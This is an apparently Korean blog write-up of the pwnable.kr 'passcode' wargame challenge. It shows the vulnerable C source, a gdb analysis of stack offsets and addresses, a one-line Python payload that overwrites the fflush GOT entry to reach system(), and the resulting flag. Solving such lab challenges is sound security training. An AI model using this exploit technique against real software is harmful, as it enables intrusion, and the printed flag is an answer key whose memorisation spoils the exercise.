이번 포스트에서는 Pwnable의 passcode 문제에 대해 다루겠다.
문제 코드는 다음과 같다.
#include <stdio.h>
#include <stdlib.h>
void login(){
int passcode1;
int passcode2;
printf("enter passcode1 : ");
scanf("%d", passcode1);
fflush(stdin);
// ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf("enter passcode2 : ");
scanf("%d", passcode2);
printf("checking...\n");
if(passcode1==338150 && passcode2==13371337){
printf("Login OK!\n");
system("/bin/cat flag");
}
else{
printf("Login Failed!\n");
exit(0);
}
}
void welcome(){
char name[100];
printf("enter you name : ");
scanf("%100s", name);
printf("Welcome %s!\n", name);
}
int main(){
printf("Toddler's Secure Login System 1.0 beta.\n");
welcome();
login();
// something after login...
printf("Now I can safely trust you that you have credential :)\n");
return 0;
}
## 문제 해석 :
문제를 실행해보니 다음과 같은 화면이 나온다.
세그멘테이션 폴트가 발생한 것을 알 수 있다.
코드를 확인해보니 passcode1을 입력 받을 부분에 passcode1의 주소값인 &passcode1이 사용되지 않는 것을 알 수 있다.
또한 우리의 최종 목적이 flag를 얻는 것이기 때문에 login()함수 중의 system("/bin/cat flag");명령어가 실행할 수 있게끔 하면 된다.
## 문제 풀이 :
우선 gdb를 통해 해당 파일을 분석해보겠다.
48번째 줄에 scanf함수가 호출되고, 그 위에 빨간색 네모박스를 확인해보면 ebp-0x70에 어떤 값이 저장되는데, 해당 값이 name이라는 것을 추측해낼 수 있다.
실제로 확인해본 결과, ebp-0x70에 name값이 저장되어 있다는 사실을 알 수 있다.
그럼 이어서 login() 함수를 분석해보겠다.
여기서 우리는 passcode1와 system() 함수가 호출된 위치만 알아내면 된다.
34번째 줄을 확인하면 scanf() 함수가 호출 되는데, 그위에 빨간 박스를 보면 어떤 값이 ebp-0x10에 저장되어 있는데, 해당 값이 이후에도 계속 사용된 것을 미루어보아 passcode1이 저장된 위치임을 추측해낼 수 있다.
또한 초록색 박스의 다음줄이 system인 것을 보니 해당 주소값이 system() 함수가 호출된 위치임을 알 수 있다.
여기서 잠깐 정리하자면,
name[] 주소 = ebp-0x70 (0x0804862f)
passcode1 주소 = ebp-0x10 (0x0804857c)
system() 주소 = 0x080485e3
그리고 passcode1의 시작 부분과 name의 시작 부분의 차이가 0x60, 10진수로 환산하면 96인 것을 알 수 있다. 즉, name[100] 중 name[96] ~ [99]의 4바이트의 값이 passcode1의 값과 겹친다는 것을 알 수 있다.
login() 함수 중 passcode1을 입력받는 부분의 바로 다음 부분에 fflush() 라는 출력 버퍼를 비우는 함수가 실행되기 때문에 해당 함수의 주소를 system() 함수로 변경하면 우리가 원하는 결과를 얻어낼 수 있다.
그러기 위해 fflush() 함수의 주소도 알아보겠다.
fflush() 주소 = 0x804a004
## 최종 결과 :
### 공격문 : (python -c 'print "A" * 96 + "\x04\xa0\x04\x08" + "134514147"') | ./passcode
passcode1이 int 형이기 때문에 그에 따른 scanf() 함수는 %d(10진수)를 입력 받으므로 system()의 주소값을 10진수로 변환한다면 134514147이라는 값이 나온다.
### 실행 결과 :
Flag = Sorry mom.. I got confused about scanf usage :(
'Wargame > Pwnable' 카테고리의 다른 글
Pwnable (7. input) (0) | 2022.07.05 |
---|---|
Pwnable (6. random) (0) | 2022.07.04 |
Pwnable (4. flag) (0) | 2022.07.02 |
Pwnable (3. bof) (0) | 2022.06.22 |
Pwnable (2. collision) (0) | 2022.06.19 |